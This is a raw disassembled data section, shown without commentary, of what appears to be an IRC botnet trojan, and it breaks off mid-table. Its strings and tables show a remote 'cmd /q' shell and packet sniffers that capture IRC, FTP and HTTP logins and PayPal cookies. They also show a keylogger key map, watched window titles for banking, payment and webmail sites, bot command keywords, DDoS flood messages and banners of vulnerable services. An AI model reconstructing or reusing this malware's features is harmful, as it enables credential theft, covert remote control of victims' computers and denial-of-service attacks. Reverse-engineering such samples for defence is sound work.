sub_41036B+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_41036B+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+328o ; sub_41036B+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o align 4 aS db '<%s>',0 ; DATA XREF: sub_41036B+2E9o ; sub_41036B+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo aAm db 'AM',0 ; DATA XREF: sub_41036B+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_41036B+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_41036B+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41036B+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_435120 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410D6Eo aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o dword_435164 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410CB8o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0 unk_4351CC db 2Dh ; - ; DATA XREF: ___:00410E94o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_435214 db 2Dh ; - ; DATA XREF: ___:004110E6o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0 unk_435254 db 2Dh ; - ; DATA XREF: ___:0041101Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_435298 db 2Dh ; - ; DATA XREF: ___:004113A9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4352C4 db 2Dh ; - ; DATA XREF: ___:00411382o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_4352F0 db 2Dh ; - ; DATA XREF: ___:00411362o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o align 4 unk_43532C db 2Dh ; - ; DATA XREF: ___:004112A1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_435358 db 2Dh ; - ; DATA XREF: sub_4113C5:loc_41140Ao db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_435384 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_41141F+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_435520 db 2Dh ; - ; DATA XREF: sub_4116D6+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_435554 db 2Dh ; - ; DATA XREF: sub_4116D6+59o ; sub_4116D6+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_43559C db 2Dh ; - ; DATA XREF: sub_411827+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_4355C4 db 2Dh ; - ; DATA XREF: sub_411827+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_435604 db 2Dh ; - ; DATA XREF: sub_411827+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_435644 db 2Dh ; - ; DATA XREF: sub_411920+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411920+8Co align 4 dword_435684 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_4119F9+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h aFailedToSta_37 db '- Failed to start client thread, error: <%d>.',0 align 10h dd 234032Dh, 6B636F73h, 3023473h aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0 align 4 dd 4000500h, 7868746Bh, 2 dup(0) dword_435848 dd 6F672D65h, 646Ch, 1Eh dup(0) ; DATA XREF: ___:0041260Fo dd 6E676953h, 6E4920h, 1Eh dup(0) aHotmail db 'Hotmail',0 dd 1Eh dup(0) aWindowsLiveMes db 'Windows Live Messenger',0 align 10h dd 1Ah dup(0) aPaypal_1 db 'PayPal',0 align 10h dd 1Eh dup(0) aStormpay db 'StormPay',0 align 4 dd 1Dh dup(0) aStormpay_comAc db 'StormPay.com, Accept Online Payments',0 align 10h dd 16h dup(0) aWorldpay db 'WorldPay',0 align 4 dd 1Dh dup(0) dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0) dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0) aTerraFotolog db 'Terra - Fotolog',0 dd 1Ch dup(0) dd 6F686159h, 216Fh, 1Eh dup(0) dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0) aBienvenidoAGma db 'Bienvenido a Gmail',0 align 4 dd 1Bh dup(0) aWelcomeToGmail db 'Welcome to Gmail',0 align 4 dd 1Bh dup(0) aDomainNameRegi db 'Domain Name Registration',0 align 4 dd 19h dup(0) dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0) aMyAccountLogin db 'My Account Login',0 align 4 dd 1Bh dup(0) aMercadolivreBr db 'MercadoLivre Brasil',0 dd 1Bh dup(0) aWellsFargoHome db 'Wells Fargo Home Page',0 align 10h dd 1Ah dup(0) aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0 dd 19h dup(0) aEbay db 'eBay',0 align 10h dd 1Eh dup(0) aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport' db 'ing goods & more at low prices',0 dd 8 dup(0) db 49h ; I db 6Eh, 69h, 63h db 69h ; i db 61h, 72h, 20h db 73h ; s db 65h, 73h, 69h db 0F3h ; ó aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor' db 'ting goods & more at low prices',0 align 4 dd 4 dup(0) dword_436448 dd 8, 62h, 62000000h, 2 dup(0) ; DATA XREF: ___:00412661o dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 41000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_436BB4 dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h ; DATA XREF: ___:0041262Do ; sub_41AF8F+EBo dd 6E727574h, 25282029h, 2973h, 252EBB2Eh, 2EAB2E73h, 65522820h dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h dd 2973h, 252EBB2Eh, 2EAB2E73h, 0 dd offset off_4374C0 dd offset off_4374BC dd offset off_4374B8 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00436C54o align 4 off_4374B8 dd offset loc_505445+1 ; DATA XREF: ___:00436C50o off_4374BC dd offset aFailedToSta_36+25h ; DATA XREF: ___:00436C4Co off_4374C0 dd offset word_544F42 ; DATA XREF: ___:00436C48o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_412EEC+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412EEC+EEo align 10h aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EEC+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412EEC+C8o a_login db ':.Login',0 ; DATA XREF: sub_412EEC+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EEC+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_412EEC+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412EEC+84o a366 db '366 ',0 ; DATA XREF: sub_412EEC+73o align 4 a302_0 db '302 ',0 ; DATA XREF: sub_412EEC:loc_412F4Eo align 10h aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EEC+4Do align 4 aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412EEC+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EEC+2Bo align 10h aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EEC+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o aOper db 'oper ',0 ; DATA XREF: sub_413003+51o align 10h aNick_1 db 'NICK ',0 ; DATA XREF: sub_413003:loc_413043o ; sub_413079+2Bo align 4 aOper_0 db 'OPER ',0 ; DATA XREF: sub_413003+2Bo align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413003+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_413079+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_413079+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_413079:loc_4130CAo align 4 a220 db '220 ',0 ; DATA XREF: sub_413079+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413079+5o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413100+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_413100+62o align 10h aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_413100+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413100:loc_413140o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_413100+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413100+5o align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413187+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413187+2Bo align 4 aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413187+5o align 4 unk_437734 db 2Dh ; - ; DATA XREF: sub_4131EC+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_43776C db 2Dh ; - ; DATA XREF: sub_4131EC+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4377A4 db 2Dh ; - ; DATA XREF: sub_4131EC+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_4377D8 db 2Dh ; - ; DATA XREF: sub_4131EC+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_43780C db 2Dh ; - ; DATA XREF: sub_4131EC+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_437840 db 2Dh ; - ; DATA XREF: sub_4131EC+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h unk_437870 db 2Dh ; - ; DATA XREF: sub_4131EC+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_4378C4 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_413694+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 